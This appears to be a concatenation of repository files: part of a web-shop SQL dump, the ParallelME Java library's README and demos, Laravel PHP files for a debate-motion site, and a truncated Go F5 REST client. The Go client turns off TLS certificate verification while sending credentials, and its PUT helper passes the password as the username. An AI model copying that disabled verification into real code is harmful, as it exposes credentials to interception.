'Snider', 'Customer Support', '<EMAIL>', 'New York', '2011-01-25 00:00:00', 27, 112000, 19, '4226'); -- -------------------------------------------------------- -- -- Table structure for table `images` -- CREATE TABLE `images` ( `ID` int(10) UNSIGNED NOT NULL, `product_id` int(11) DEFAULT NULL, `image_name` varchar(250) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8; -- -- Dumping data for table `images` -- INSERT INTO `images` (`ID`, `product_id`, `image_name`) VALUES (1, 1, '580b8c34c37532016-10-22.jpg'), (3, 2, '580b8daca974f2016-10-22.jpg'), (4, NULL, '581cd45f05dc02016-11-04.jpg'), (5, 7, '583752b3181f02016-11-24.jpg'), (6, 3, '58375277356b02016-11-24.jpg'), (7, 8, '583ca60eaab402016-11-28.jpg'); -- -------------------------------------------------------- -- -- Table structure for table `navigation` -- CREATE TABLE `navigation` ( `ID` int(10) UNSIGNED NOT NULL, `name` varchar(250) NOT NULL, `link` varchar(250) NOT NULL, `sort` int(10) UNSIGNED NOT NULL, `parent` int(11) NOT NULL DEFAULT '0', `subparent` tinyint(1) NOT NULL DEFAULT '0', `id_parent` int(11) NOT NULL DEFAULT '0', `id_subparent` int(11) NOT NULL DEFAULT '0' ) ENGINE=MyISAM DEFAULT CHARSET=utf8; -- -- Dumping data for table `navigation` -- INSERT INTO `navigation` (`ID`, `name`, `link`, `sort`, `parent`, `subparent`, `id_parent`, `id_subparent`) VALUES (1, 'Exterior', '', 1, 1, 0, 0, 0), (2, 'Wäsche', '', 1, 0, 0, 1, 0), (3, 'Versiegelungen', '', 2, 0, 0, 1, 0), (4, '<NAME>', '', 3, 0, 0, 1, 0), (5, 'Reiniger', '', 4, 0, 0, 1, 0), (6, 'Wachse', '', 5, 0, 0, 1, 0), (7, 'Glas', '', 6, 0, 0, 1, 0), (8, 'Lackreinigung', '', 7, 0, 0, 1, 0), (9, '<NAME>', '', 8, 0, 0, 1, 0), (10, 'Metall', '', 9, 0, 0, 1, 0), (11, 'Polituren', '', 10, 0, 0, 1, 0), (12, 'Kunststoff & Gummi', '', 11, 0, 0, 1, 0), (13, 'Verdeck', '', 12, 0, 0, 1, 0), (14, 'Interior', '', 2, 1, 0, 0, 0), (15, 'Kunststoff', '', 1, 0, 0, 14, 0), (16, 'Lufterfrischer', '', 2, 0, 0, 14, 0), (17, 'Stoff', '', 3, 0, 0, 14, 0), (18, 'Leder', '', 4, 0, 0, 14, 0), (19, 'Glas', '', 5, 0, 0, 14, 0), (20, 'Microfaser', '', 3, 1, 0, 0, 0), (21, 'Zubehör', '', 4, 1, 0, 0, 0), (22, 'Applikatoren', '', 1, 0, 0, 21, 0), (23, 'Bürsten', '', 2, 0, 0, 21, 0), (24, 'Schwämme', '', 3, 0, 0, 21, 0), (25, 'Aufbewahrung', '', 4, 0, 0, 21, 0), (26, 'Polier-Pads', '', 5, 0, 0, 21, 0), (27, 'Sprühflaschen', '', 6, 0, 0, 21, 0), (28, 'Misc', '', 5, 0, 0, 21, 0), (29, 'Maschinen', '', 6, 0, 1, 21, 0), (30, 'Poliermaschinen', '', 1, 0, 0, 21, 29), (31, 'Sauger', '', 2, 0, 0, 21, 29), (32, 'Akku-Schrauber', '', 3, 0, 0, 21, 29), (33, 'Schleifen', '', 4, 0, 0, 21, 29), (34, 'Sets', '', 5, 1, 0, 0, 0), (35, 'Merchandise', '', 6, 1, 0, 0, 0), (36, 'Gutscheine', '', 7, 1, 0, 0, 0), (37, 'Hautschutz', '', 8, 1, 0, 0, 0); -- -------------------------------------------------------- -- -- Table structure for table `orders` -- CREATE TABLE `orders` ( `ID` int(10) UNSIGNED NOT NULL, `transaction_id` int(11) NOT NULL, `product_id` int(11) NOT NULL, `product_quantity` int(11) NOT NULL, `product_unit_price` decimal(20,2) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8; -- -- Dumping data for table `orders` -- INSERT INTO `orders` (`ID`, `transaction_id`, `product_id`, `product_quantity`, `product_unit_price`) VALUES (1, 1, 3, 1, '10.55'), (2, 2, 1, 1, '120.00'), (3, 3, 3, 1, '10.55'), (4, 4, 1, 1, '120.00'), (5, 5, 7, 1, '15.90'), (6, 6, 3, 1, '10.55'), (7, 7, 1, 1, '120.00'), (8, 8, 2, 1, '12.50'), (9, 9, 7, 1, '15.90'), (10, 10, 7, 1, '15.90'), (11, 11, 7, 1, '15.90'), (12, 1, 2, 1, '10.55'); -- -------------------------------------------------------- -- -- Table structure for table `payment_methods` -- CREATE TABLE `payment_methods` ( `ID` int(10) UNSIGNED NOT NULL, `preview_name` varchar(250) NOT NULL, `name` varchar(250) NOT NULL, `status` varchar(1) NOT NULL COMMENT '0 - inactive 1 - active' ) ENGINE=MyISAM DEFAULT CHARSET=utf8; -- -- Dumping data for table `payment_methods` -- INSERT INTO `payment_methods` (`ID`, `preview_name`, `name`, `status`) VALUES (1, 'Eps überweisung', 'eps', '1'); -- -------------------------------------------------------- -- -- Table structure for table `products` -- CREATE TABLE `products` ( `ID` int(10) UNSIGNED NOT NULL, `product_name` varchar(250) NOT NULL, `product_description` text NOT NULL, `product_price` decimal(20,2) NOT NULL, `product_quantity` tinyint(4) NOT NULL, `product_category` int(11) NOT NULL, `product_subcategory` int(11) NOT NULL, `product_sub_subcategory` int(11) NOT NULL, `product_status` tinyint(4) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8; -- -- Dumping data for table `products` -- INSERT INTO `products` (`ID`, `product_name`, `product_description`, `product_price`, `product_quantity`, `product_category`, `product_subcategory`, `product_sub_subcategory`, `product_status`) VALUES (1, '3M - Car Wash Soap', '<p>3M - Car Wash Soap</p>', '12.92', 10, 1, 2, 0, 1), (2, 'Auto Finesse - Avalanche', '<h1 class="fn product-title">Auto Finesse - Avalanche</h1>', '20.00', 10, 1, 2, 0, 1), (3, 'proba123', '&#60;p&#62;&#38;lt;p&#38;gt;proba&#38;lt;/p&#38;gt;&#60;/p&#62;', '100.00', 10, 1, 2, 0, 1), (7, 'proba12377777', '&#60;p&#62;&#38;lt;p&#38;gt;proba&#38;lt;/p&#38;gt;&#60;/p&#62;', '100.00', 10, 1, 2, 0, 1), (8, 'eeee', '', '3.50', 10, 14, 15, 0, 1); -- -------------------------------------------------------- -- -- Table structure for table `shipping_methods` -- CREATE TABLE `shipping_methods` ( `ID` int(10) UNSIGNED NOT NULL, `name` varchar(250) NOT NULL, `price` decimal(20,2) NOT NULL, `status` varchar(1) NOT NULL COMMENT '0 - inactive 1 - active' ) ENGINE=MyISAM DEFAULT CHARSET=utf8; -- -- Dumping data for table `shipping_methods` -- INSERT INTO `shipping_methods` (`ID`, `name`, `price`, `status`) VALUES (1, 'Self pick up FREE', '0.00', '1'), (2, 'Post', '5.00', '1'), (3, 'DHL', '6.00', '1'); -- -------------------------------------------------------- -- -- Table structure for table `transactions` -- CREATE TABLE `transactions` ( `ID` int(10) UNSIGNED NOT NULL, `transaction_id` varchar(60) NOT NULL, `user_id` int(11) NOT NULL, `shipping_method_id` int(11) NOT NULL, `payment_method_id` int(11) NOT NULL, `total_price` decimal(20,2) NOT NULL, `transaction_date` datetime NOT NULL, `status` varchar(1) NOT NULL COMMENT '0 - failed 1 - ok ok' ) ENGINE=MyISAM DEFAULT CHARSET=utf8; -- -- Dumping data for table `transactions` -- INSERT INTO `transactions` (`ID`, `transaction_id`, `user_id`, `shipping_method_id`, `payment_method_id`, `total_price`, `transaction_date`, `status`) VALUES (1, 'Order - 5831a242b82dc', 18, 1, 1, '12.66', '2016-11-20 14:17:10', '2'), (2, 'Order - 5831a32ff190e', 18, 1, 1, '144.00', '2016-11-20 14:21:05', '1'), (3, 'Order - 5831a3a804a33', 18, 1, 1, '12.66', '2016-11-20 14:23:12', '1'), (4, 'Order - 5831a43a8fc81', 18, 1, 1, '144.00', '2016-11-20 14:25:30', '1'), (5, 'Order - 5831a468d75f3', 18, 1, 1, '19.08', '2016-11-20 14:26:19', '1'), (6, 'Order - 5831a6b1f2bc1', 18, 1, 1, '12.66', '2016-11-20 14:36:04', '1'), (7, 'Order - 5831a927520e3', 18, 2, 1, '144.00', '2016-11-20 14:46:33', '1'), (8, 'Order - 5831b960b6ac8', 18, 1, 1, '15.00', '2016-11-20 15:55:46', '1'), (9, 'Order - 5831bfb113262', 11, 1, 1, '19.08', '2016-11-20 16:24:06', '1'), (10, 'Order - 58321e6956954', 18, 1, 1, '19.08', '2016-11-20 23:07:44', '1'), (11, 'Order - 583315e37d0a7', 18, 1, 1, '19.08', '2016-11-21 16:42:33', '0'); -- -------------------------------------------------------- -- -- Table structure for table `users` -- CREATE TABLE `users` ( `ID` int(10) UNSIGNED NOT NULL, `first_name` varchar(100) NOT NULL, `last_name` varchar(100) NOT NULL, `email` varchar(100) NOT NULL, `password` varchar(250) NOT NULL, `company` varchar(100) NOT NULL, `salt` varchar(100) NOT NULL, `active` tinyint(4) NOT NULL DEFAULT '0', `last_login` datetime NOT NULL, `status` tinyint(1) NOT NULL COMMENT '1 - admin 2 - user' ) ENGINE=MyISAM DEFAULT CHARSET=utf8; -- -- Dumping data for table `users` -- INSERT INTO `users` (`ID`, `first_name`, `last_name`, `email`, `password`, `company`, `salt`, `active`, `last_login`, `status`) VALUES (11, 'Goran', 'Mladenovic', '<EMAIL>', <PASSWORD>', '', '4rmCugjw3oEDTlw8SPGd5N65f129db2558e4312021dfa4c19c4186', 1, '0000-00-00 00:00:00', 2), (18, 'Dragan', 'Savic', '<EMAIL>', <PASSWORD>', '', '<PASSWORD>', 1, '2016-11-24 19:33:59', 2), (14, '', '', '<EMAIL>', <PASSWORD>', '', 'TIlqD9L13kOM4AL09Jxrcacfdbb05da5a51648b0fe8d22b9c464b8', 1, '2016-11-28 21:47:22', 1); -- -- Indexes for dumped tables -- -- -- Indexes for table `datatables_demo` -- ALTER TABLE `datatables_demo` ADD PRIMARY KEY (`id`), ADD KEY `seq` (`seq`); -- -- Indexes for table `images` -- ALTER TABLE `images` ADD PRIMARY KEY (`ID`); -- -- Indexes for table `navigation` -- ALTER TABLE `navigation` ADD PRIMARY KEY (`ID`); -- -- Indexes for table `orders` -- ALTER TABLE `orders` ADD PRIMARY KEY (`ID`); -- -- Indexes for table `payment_methods` -- ALTER TABLE `payment_methods` ADD PRIMARY KEY (`ID`); -- -- Indexes for table `products` -- ALTER TABLE `products` ADD PRIMARY KEY (`ID`); -- -- Indexes for table `shipping_methods` -- ALTER TABLE `shipping_methods` ADD PRIMARY KEY (`ID`); -- -- Indexes for table `transactions` -- ALTER TABLE `transactions` ADD PRIMARY KEY (`ID`); -- -- Indexes for table `users` -- ALTER TABLE `users` ADD PRIMARY KEY (`ID`); -- -- AUTO_INCREMENT for dumped tables -- -- -- AUTO_INCREMENT for table `datatables_demo` -- ALTER TABLE `datatables_demo` MODIFY `id` int(10) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=58; -- -- AUTO_INCREMENT for table `images` -- ALTER TABLE `images` MODIFY `ID` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=8; -- -- AUTO_INCREMENT for table `navigation` -- ALTER TABLE `navigation` MODIFY `ID` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=38; -- -- AUTO_INCREMENT for table `orders` -- ALTER TABLE `orders` MODIFY `ID` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=13; -- -- AUTO_INCREMENT for table `payment_methods` -- ALTER TABLE `payment_methods` MODIFY `ID` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2; -- -- AUTO_INCREMENT for table `products` -- ALTER TABLE `products` MODIFY `ID` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=9; -- -- AUTO_INCREMENT for table `shipping_methods` -- ALTER TABLE `shipping_methods` MODIFY `ID` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5; -- -- AUTO_INCREMENT for table `transactions` -- ALTER TABLE `transactions` MODIFY `ID` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=12; -- -- AUTO_INCREMENT for table `users` -- ALTER TABLE `users` MODIFY `ID` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=19; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
6c0fcdab1146e7ea2de7739dc4261f7eb40b9657
[ "SQL", "PHP" ]
4
PHP
savicdragan15/frwkroutes
317e981cd2603491b4ff28cbda3457836844bd98
7e0ab8827f0a9c5b1b570fa582e5c1297d74bb56
refs/heads/master
<file_sep># ParallelME User-library for the impatient ## ParallelME Overview ParallelME, a Parallel Mobile Engine, was designed to explore heterogeneity in Android devices, automatically coordinating the usage of computing resources while maintaining the programming effort similar to what sequential programmers expect. In our tests, compared to a sequential Java code, the framework was able to increase application performance by more than 30 times with an equivalent programming complexity in number of lines of code and a reduction of 98% of energy consumption. It was conceived as a complete infrastructure for parallel programming for mobile architectures, being composed of three main components: (1) a programming abstraction proposed in a user-library, (2) a source-to-source compiler and (3) a run-time environment. * The user-library holds the programming abstraction proposed by ParallelME, being the high-level API that is directly handled by the user code. It was inspired by the Scala collections library and is designed to provide an easy-to-use and generic programming model for parallel applications in Java for Android. This programming abstraction offers a collection-driven approach for code development of specific types of data sets, also introducing special functions to iterate, reduce, perform data-transformation and create sub-sets in these collections. These operations are executed, after translated by ParallelME compiler, in high-performance parallel run-times at NDK level. Once debugging at NDK level is not an easy task, a fully functional sequential implementation in Java is also provided for each collection. It means that user applications can be debugged at SDK level in Java using the regular Android development infrastructure. * The source-to-source compiler provides a mechanism for translating user code to a low-level parallel implementation in the specified high-performance run-times. It takes as an input Java code written with the user-library and translates it to a new version integrated with both RenderScript and ParallelME run-time. This translation is performed during development time, leaving the choice of which target run-time to execute to the user application execution time. The output code generated by ParallelME will evaluate during user application execution if the hardware supports OpenCL and perform execution of high-performance code in ParallelME run-time. In case there is no support for OpenCL, the code generated by ParallelME compiler will transparently switch to RenderScript, which is supported by a greater range of Android devices. * The run-time environment was developed using OpenCL and is responsible for setting up the application to allow several parallel tasks to be specified and queued for execution in different devices. Compared to Google's RenderScript, ParallelME run-time was able to increase application performance by more than 2 times, while reducing energy consumption by an average 5%. ## How to use this user-library You must understand that ParallelME User-library was built around three concepts: * Input-data binding: the act of providing data to one of our collections through the constructor; * Operations: iteration, reduction, data-transformation and filter (so far); * Output-data binding: the act of taking the data back from our collection and moving it to your Java regular code. In order to use ParallelME User-library to develop your applications, you must follow the steps bellow: * Download ParallelME User-library source code to your machine; * Include the user-library in your project (more information needed); * Create your code using **precisely** the notation bellow: ``` // Create a BitmapImage from an existing Bitmap object (input-bind) BitmapImage image = new BitmapImage(bitmap); // Iterate with foreach (operation) image.par().foreach(new Foreach<Pixel>() { @Override public void function(Pixel pixel) { // Your code here. Sure you may use other name for "pixel" variable. // Changes made to "pixel" variable are stored in the "image" variable after this function is executed. ... } }); // Perform a reduction (operation) Pixel pixel = image.par().reduce(new Reduce<Pixel>() { @Override public Pixel function(Pixel p1, Pixel p2) { // Your code here. Sure you may use other names for "p1" and "p2" variables. // Changes made to "p1" or "p2" variables are NOT stored in the "image" variable after this // function is executed. // You may make changes to "p1" or "p2", but if you want these changes to be used in the next step of the // reduction, return the desired variable. ... } }); // Perform data transformation (operation) Array<Float32> = image.par().map(Float32.class, new Map<Float32, Pixel>() { @Override public Float32 function(Pixel pixel) { // Your code here. Sure you may use other name for "pixel" variable. // Changes made to "pixel" variable are NOT stored in the "image" variable after this function is executed. ... } }); // Create sub-sets (operation) Array<Pixel> = image.par().filter(new Filter<Pixel>() { @Override public boolean function(Pixel pixel) { // Your code here. Sure you may use other name for "pixel" variable. // Changes made to "pixel" variable are NOT stored in the "image" variable after this function is executed. ... } }); // Get data back from a BitmapImage variable: (output-bind) Bitmap retVar = image.toBitmap(); // You may also use an existing variable to get data back, but MAKE SURE the image sizes are the same: image.toBitmap(bitmap); // used the original "bitmap" object provided previously ``` ``` // Create an HDRImage from a byte array arranged in groups of 4 bytes for RGBA (input-bind) HDRImage image = new HDRImage(data, width, height); // Iterate with foreach (operation) image.par().foreach(new Foreach<Pixel>() { @Override public void function(Pixel pixel) { // Your code here. Sure you may use other name for "pixel" variable. // Changes made to "pixel" variable are stored in the "image" variable after this function is executed. ... } }); // Perform a reduction (operation) Pixel pixel = image.par().reduce(new Reduce<Pixel>() { @Override public Pixel function(Pixel p1, Pixel p2) { // Your code here. Sure you may use other names for "p1" and "p2" variables. // Changes made to "p1" or "p2" variables are NOT stored in the "image" variable after this // function is executed. // You may make changes to "p1" or "p2", but if you want these changes to be used in the next step of the // reduction, return the desired variable. ... } }); // Perform data transformation (operation) Array<Float32> = image.par().map(Float32.class, new Map<Float32, Pixel>() { @Override public Float32 function(Pixel pixel) { // Your code here. Sure you may use other name for "pixel" variable. // Changes made to "pixel" variable are NOT stored in the "image" variable after this function is executed. ... } }); // Create sub-sets (operation) Array<Pixel> = image.par().filter(new Filter<Pixel>() { @Override public boolean function(Pixel pixel) { // Your code here. Sure you may use other name for "pixel" variable. // Changes made to "pixel" variable are NOT stored in the "image" variable after this function is executed. ... } }); // Get data back from a HDRImage variable:(output-bind) Bitmap retVar = image.toBitmap(); // You may also use an existing variable to get data back, but MAKE SURE the image sizes are the same: image.toBitmap(bitmap); // used the original "bitmap" object provided previously ``` ``` // Create an Array from the equivalent primitive type: (input-bind) // short[] for Int16 // int[] for Int32 // float[] for Float32 Array<Int16> array = new Array<Int16>(primitiveTypeArray, Int16.class); // Iterate with foreach (operation) array.par().foreach(new Foreach<Int16>() { @Override public void function(Int16 element) { // Your code here. Sure you may use other name for "pixel" variable. // Changes made to "element" variable are stored in the "array" variable after this function is executed. ... } }); // Perform a reduction (operation) Int16 value = array.par().reduce(new Reduce<Int16>() { @Override public Int16 function(Int16 e1, Int16 e2) { // Your code here. Sure you may use other names for "e1" and "e2" variables. // Changes made to "e1" or "e2" variables are NOT stored in the "array" variable after this // function is executed. // You may make changes to "e1" or "e2", but if you want these changes to be used in the next step of the // reduction, return the desired variable. ... } }); // Perform data transformation (operation) Array<Float32> = array.par().map(Float32.class, new Map<Float32, Int16>() { @Override public Float32 function(Int16 element) { // Your code here. Sure you may use other name for "element" variable. // Changes made to "element" variable are NOT stored in the "array" variable after this // function is executed. ... } }); // Create sub-sets (operation) Array<Int16> = array.par().filter(new Filter<Int16>() { @Override public boolean function(Int16 element) { // Your code here. Sure you may use other name for "element" variable. // Changes made to "element" variable are NOT stored in the "array" variable after this // function is executed. ... } }); // Get data back from a Array variable: (output-bind) short[] retVar = array.toJavaArray(); // You may also use an existing variable to get data back, but MAKE SURE the array sizes are the same: array.toJavaArray(primitiveTypeArray); // used the original "primitiveTypeArray" object provided previously ``` * What you can and can't do while writing those **function** methods: * **Only** Java primitive types up to 32 bits are allowed, since they are mapped directly to C types during translation; * The **new** operator is not supported (yet); * Variables declared outside the user function scope **CAN** be used for read and write; * Variables declared outside the user function scope **WITHOUT** **final** modifier will imply in sequential code translation for the given operation by ParallelME compiler. The code will be translated to sequential even though this variable is not assigned to a new value in the user function; * Variables declared outside the user function scope **WITH** **final** modifier will not affect generation of parallel code by the compiler, so use them with no worries; * Arrays, even though of primitive types, are **NOT** supported (yet); * Strings are **NOT** supported; * Method calls are **NOT** supported; * Nested user functions are **NOT** allowed; * Though lambda expressions (Java 8 feature) are supported in the user-library, they are **NOT** supported (yet) by ParallelME compiler, so don't use them. * ## Important notice Even though many of the limitations listed previously are syntactically allowed when writing Java code, they are not supported by ParallelME compiler. Thus, you will be perfectly able to write code, for example, using lambda expressions in Java 8 with ParallelME User-library, but our compiler won't be able to translate it. For this reason, keep an eye on these limitations and enjoy the work we are making available so far. ## Detailed information If you need detailed information about ParallelME User-library, please refer to [ParallelME Reference Manual](https://parallelme.github.io/docs/ParallelME_Reference_Manual.pdf) and check the user-library section. <file_sep>package org.parallelme.userlibrary; import org.parallelme.userlibrary.datatype.Int16; import org.parallelme.userlibrary.datatype.Int32; public class Main { public static void main(String[] args) { int i = 0; int[] tmp = new int[13]; for (int x = 0; x < tmp.length; x++) { tmp[x] = ++i; } Array<Int32> array = new Array<Int32>(tmp, Int32.class); System.out.println("Elements: "); array.toJavaArray(tmp); for (int x = 0; x < tmp.length; x++) { System.out.println("tmp[" + x + "] = " + tmp[x]); } System.out.println("Reduce: "); Int32 ret = array.reduce((element1, element2) -> { element1.value += element2.value; return element1; }); System.out.println(ret.value); System.out.println("Map: "); Array<Int16> array2 = array.map(Int16.class, (element -> { return new Int16((short) (element.value + 10)); })); array2.foreach(element -> { System.out.println(element.value); }); System.out.println("Filter: "); Array<Int32> array3 = array.filter(element -> { return element.value > 10; }); array3.foreach(element -> { System.out.println(element.value); }); } } <file_sep>package org.parallelme.userlibrary; import java.util.Arrays; import java.util.Random; import org.parallelme.userlibrary.datatype.Int16; import org.parallelme.userlibrary.datatype.Int32; import org.parallelme.userlibrary.datatype.ObjectArray; import org.parallelme.userlibrary.function.Foreach; import org.parallelme.userlibrary.function.Map; import org.parallelme.userlibrary.function.Reduce; public class MainJava7 { public static void main(String[] args) { int i = 0; int word_size = 4; int words_in_a_book = word_size * 4; Random random = new Random(); int[] book = new int[words_in_a_book]; int[] target_word = new int[word_size]; for (int x = 0; x < book.length; x++) { book[x] = random.nextInt(10); } for (int x = 0; x < target_word.length; x++) { target_word[x] = random.nextInt(10); } GenericArray<Integer> generic_array_book = new GenericArray<Integer>(book); Array<Int32> arrayBook = new Array<Int32>(book, Int32.class); System.out.println("Book: "+Arrays.toString(book)); System.out.println("Target Word: "+Arrays.toString(target_word)); generic_array_book.foreach(new Foreach<Integer>(){ public Integer function(Integer element){ element++; return element; } }); generic_array_book.foreach(new Foreach<Integer>(){ public Integer function(Integer element){ System.out.println(element); return element; } }); GenericArray<Integer> generic_array_after_map = generic_array_book.map(new Map<Integer, Integer>(){ @Override public Integer function(Integer element) { return element+2; } }); generic_array_after_map.foreach(new Foreach<Integer>(){ public Integer function(Integer element){ System.out.print(element+"-"); return element; } }); Integer after_reduce = generic_array_after_map.reduce(new Reduce<Integer>(){ public Integer function(Integer element1, Integer element2){ element1 += element2; return element1; } }); System.out.println("\nAfter reduce: "+after_reduce); Array<Int32> afterSplitMap = arrayBook.splitMap(Int32.class, word_size, new Reduce<Int32>(){ @Override public Int32 function(Int32 element1, Int32 element2){ element1.value += element2.value; return element1; } }); int[][] tmp2 = new int[2][2]; for (int x = 0; x < tmp2.length; x++) { for (int j = 0; j < tmp2[x].length; j++){ tmp2[x][j] = ++i; } } /* ObjectArray[] object_array_book = new ObjectArray[64]; int[] word; for(int index = 0; index < object_array_book.length; index++){ word = new int[word_size]; for(int index2 = 0; index2 < word_size; index2++){ word[index2] = random.nextInt(10); } object_array_book[index] = new ObjectArray(word); } Array<ObjectArray> arrayObjArrayBook = new Array<ObjectArray>(book, ObjectArray.class); Array<ObjectArray> afterMap = arrayObjArrayBook.map(ObjectArray.class, new Map<ObjectArray, ObjectArray>(){ @Override public ObjectArray function(ObjectArray element) { int[] compared = new int[word_size]; for(int i = 0; i < word_size; i++){ compared[i] = java.lang.reflect.Array.getInt(element.getValue(), i) != target_word[i] ? 0 : 1; } return new ObjectArray(compared); } }); System.out.println("Target Word: "+target_word); afterMap.foreach(new Foreach<ObjectArray>(){ @Override public void function(ObjectArray element) { System.out.println(element.getValue()); } });*/ Array<Int32> array = new Array<Int32>(book, Int32.class); System.out.println("Elements: "); array.toJavaArray(book); for (int x = 0; x < book.length; x++) { System.out.println("tmp[" + x + "] = " + book[x]); } System.out.println("Reduce Java 7: "); Int32 ret7 = array.reduce(new Reduce<Int32>(){ @Override public Int32 function(Int32 element1, Int32 element2){ element1.value += element2.value; return element1; } }); System.out.println(ret7.value); } }
60b8860ad04be0d7da181748616188478289e525
[ "Markdown", "Java" ]
3
Markdown
pdrocaldeira/userlibrary
27c97e91a4e2876a392782409b9d3f418cda743e
0aa1372b9060e52d86e1e517bd5f7894669a4cda
refs/heads/master
<repo_name>saadbinamjad/bddebate2.0<file_sep>/database/seeds/MotionsTableSeeder.php <?php use Illuminate\Database\Seeder; class MotionsTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { return factory(App\Motion::class, 5)->create(); } } <file_sep>/app/Tournament.php <?php namespace App; use Illuminate\Database\Eloquent\Model; class Tournament extends Model { public function host(){ $this->belongsTo(Host::class); } public function motions(){ $this->hasMany(Motion::class); } } <file_sep>/database/factories/ModelFactory.php <?php /* |-------------------------------------------------------------------------- | Model Factories |-------------------------------------------------------------------------- | | Here you may define all of your model factories. Model factories give | you a convenient way to create models for testing and seeding your | database. Just tell the factory how a default model should look. | */ $factory->define(App\User::class, function (Faker\Generator $faker) { static $password; return [ 'name' => $faker->name, 'email' => $faker->unique()->safeEmail, 'password' => $password ?: $password = bcrypt('<PASSWORD>'), 'remember_token' => str_random(10), ]; }); $factory->define(App\Motion::class, function (Faker\Generator $faker) { return [ 'motion' => $faker->sentence, 'round_id' => function(){ return factory(App\Round::class)->create()->id; }, 'tournament_id' => function(){ return factory(App\Tournament::class)->create()->id; }, 'user_id' => function(){ return factory(App\User::class)->create()->id; }, 'status' => 1, 'created_by' => 1, 'updated_by' => 1, ]; }); $factory->define(App\Round::class, function (Faker\Generator $faker) { return [ 'round' => $faker->randomDigit, 'status' => 1, 'created_by' => 1, 'updated_by' => 1, ]; }); $factory->define(App\Tournament::class, function (Faker\Generator $faker) { return [ 'name' => $faker->word, 'host_institution_id' => function(){ return factory(App\Host::class)->create()->id; }, 'status' => 1, 'created_by' => 1, 'updated_by' => 1, ]; }); $factory->define(App\Host::class, function (Faker\Generator $faker) { return [ 'name' => $faker->company, 'region' => $faker->city, 'status' => 1, ]; }); <file_sep>/app/Host.php <?php namespace App; use Illuminate\Database\Eloquent\Model; class Host extends Model { public function tournaments(){ $this->hasMany(Tournament::class); } } <file_sep>/app/Motion.php <?php namespace App; use Illuminate\Database\Eloquent\Model; class Motion extends Model { public function user(){ $this->belongsTo(User::class); } public function round(){ $this->belongsTo(Round::class); } public function tournament(){ $this->belongsTo(Tournament::class); } } <file_sep>/app/Round.php <?php namespace App; use Illuminate\Database\Eloquent\Model; class Round extends Model { public function motions(){ $this->hasMany(Motion::class); } } <file_sep>/routes/web.php <?php /* |-------------------------------------------------------------------------- | Web Routes |-------------------------------------------------------------------------- | | This file is where you may define all of the routes that are handled | by your application. Just tell Laravel the URIs it should respond | to using a Closure or controller method. Build something great! | */ Route::get('/', function () { return view('welcome'); }); Auth::routes(); Route::get('/home', 'HomeController@index'); Route::resource('/user', 'UserController'); Route::resource('/motion', 'MotionController'); Route::get('/motion/create', 'MotionController@create')->middleware('auth'); Route::resource('/round', 'RoundController'); Route::resource('/tournament', 'TournamentController'); Route::resource('/host', 'HostController'); Route::resource('/search', 'SearchController'); <file_sep>/app/Http/Controllers/MotionController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Http\Requests; class MotionController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $motions = \App\Motion::paginate(6); return view('motion/motion', compact('motions')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $rounds = \App\Round::all(); $tournaments = \App\Tournament::all(); return view('motion/motion-create', compact('rounds', 'tournaments')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request, \App\Motion $motion) { $motion->motion = $request->name; $motion->round_id = $request->round; $motion->tournament_id = $request->tournament; $motion->user_id = 1; $motion->status = 1; $motion->save(); return redirect('/motion')->with('status', 'Motion added!');; } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } }
536f4e8da923deb973505cbdc91c99e9270bc329
[ "PHP" ]
8
PHP
saadbinamjad/bddebate2.0
e62d86b5b350520c597946be1e08108d5e9cf8d5
3df38a1227d0662fa6f1cd9ecffce00d09d48d60
refs/heads/master
<repo_name>leonlee/f5ctl<file_sep>/restful.go package main import ( "bytes" "crypto/tls" "errors" "io/ioutil" "log" "net/http" "sync" "github.com/antonholmquist/jason" ) func GetReq(host string, uri string, user string, pass string) (*jason.Object, error) { tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } req, err := http.NewRequest("GET", "https://"+host+uri, nil) if err != nil { log.Println(err) } req.SetBasicAuth(user, pass) client := &http.Client{Transport: tr} rsp, err := client.Do(req) if err != nil { return nil, err } defer rsp.Body.Close() if rsp.StatusCode != 200 { return nil, errors.New("Got '" + rsp.Status + "' from ltm.") } body, err := ioutil.ReadAll(rsp.Body) json, err := jason.NewObjectFromBytes(body) if err != nil { log.Println("Problem parsing json resp: ", err) } return json, nil } func PutReq(host string, uri string, payload []byte, user string, pass string) (*jason.Object, error) { tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } req, err := http.NewRequest("PUT", "https://"+host+uri, bytes.NewBuffer(payload)) if err != nil { log.Println(err) } req.Header.Set("Content-Type", "application/json") req.SetBasicAuth(pass, pass) client := &http.Client{Transport: tr} rsp, err := client.Do(req) if err != nil { return nil, err } defer 